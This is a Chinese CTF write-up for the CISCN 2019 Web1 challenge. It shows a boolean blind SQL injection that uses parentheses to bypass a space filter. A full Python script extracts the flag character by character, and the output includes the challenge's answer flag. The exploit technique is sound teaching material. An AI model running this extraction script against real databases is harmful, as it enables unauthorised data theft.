[CISCN 2019华北Day2]Web1
1.题目给了输入框,很明显是要注入
传入:1
传入:1’
传入:1"
可以看到判断注入点的时候被检测到了,可能是过滤了某些字符,有bool(false),显然这题布尔盲注
2.下面我们进行fuzz测试,看看过滤了哪些字符
485的都是被过滤了,selec,from,括号没有过滤,我们用括号绕过空格
3.这里我们构造payload测试
payload:id=(select(ascii(substr(flag,1,1))=78)from(flag))
因为题目给了flag位置,我们截取flag列第一个字段,将其ascii码值与78比较(78是’N’),如果值为1则页面返回正常
4.接下来我们写猜解脚本
import requests
# 网站路径
url = "http://node4.anna.nssctf.cn:28751/"
# 枚举字符的payload
payload_str = "(select(ascii(substr(flag,{l},1))={n})from(flag))"
# post请求参数
data= {"id":payload_str}
# 枚举字符
def getFlag():
flag = ''
# 从第一个字符开始截取
for i in range(1,100):
# 枚举字符的每一种可能性
for n in range(32, 126):
data["id"] = payload_str.format(l=i, n=n)
response = requests.post(url=url, data=data)
if 'Hello' in response.text:
flag += chr(n)
print(flag)
break
if flag[-1] == '}':
break
if __name__ == '__main__':
getFlag()
# 输出
N
NS
NSS
NSSC
NSSCT
NSSCTF
NSSCTF{
NSSCTF{a
NSSCTF{a2
NSSCTF{a2d
NSSCTF{a2da
NSSCTF{a2daf
NSSCTF{a2dafa
NSSCTF{a2dafa8
NSSCTF{a2dafa89
NSSCTF{a2dafa89-
NSSCTF{a2dafa89-b
NSSCTF{a2dafa89-b6
NSSCTF{a2dafa89-b6e
NSSCTF{a2dafa89-b6e8
NSSCTF{a2dafa89-b6e8-
NSSCTF{a2dafa89-b6e8-4
NSSCTF{a2dafa89-b6e8-4f
NSSCTF{a2dafa89-b6e8-4f9
NSSCTF{a2dafa89-b6e8-4f9d
NSSCTF{a2dafa89-b6e8-4f9d-
NSSCTF{a2dafa89-b6e8-4f9d-8
NSSCTF{a2dafa89-b6e8-4f9d-8d
NSSCTF{a2dafa89-b6e8-4f9d-8d1
NSSCTF{a2dafa89-b6e8-4f9d-8d18
NSSCTF{a2dafa89-b6e8-4f9d-8d18-
NSSCTF{a2dafa89-b6e8-4f9d-8d18-1
NSSCTF{a2dafa89-b6e8-4f9d-8d18-1e
NSSCTF{a2dafa89-b6e8-4f9d-8d18-1ef
NSSCTF{a2dafa89-b6e8-4f9d-8d18-1ef4
NSSCTF{a2dafa89-b6e8-4f9d-8d18-1ef4f
NSSCTF{a2dafa89-b6e8-4f9d-8d18-1ef4f7
NSSCTF{a2dafa89-b6e8-4f9d-8d18-1ef4f73
NSSCTF{a2dafa89-b6e8-4f9d-8d18-1ef4f73e
NSSCTF{a2dafa89-b6e8-4f9d-8d18-1ef4f73e4
NSSCTF{a2dafa89-b6e8-4f9d-8d18-1ef4f73e47
NSSCTF{a2dafa89-b6e8-4f9d-8d18-1ef4f73e47c
NSSCTF{a2dafa89-b6e8-4f9d-8d18-1ef4f73e47c8
NSSCTF{a2dafa89-b6e8-4f9d-8d18-1ef4f73e47c8}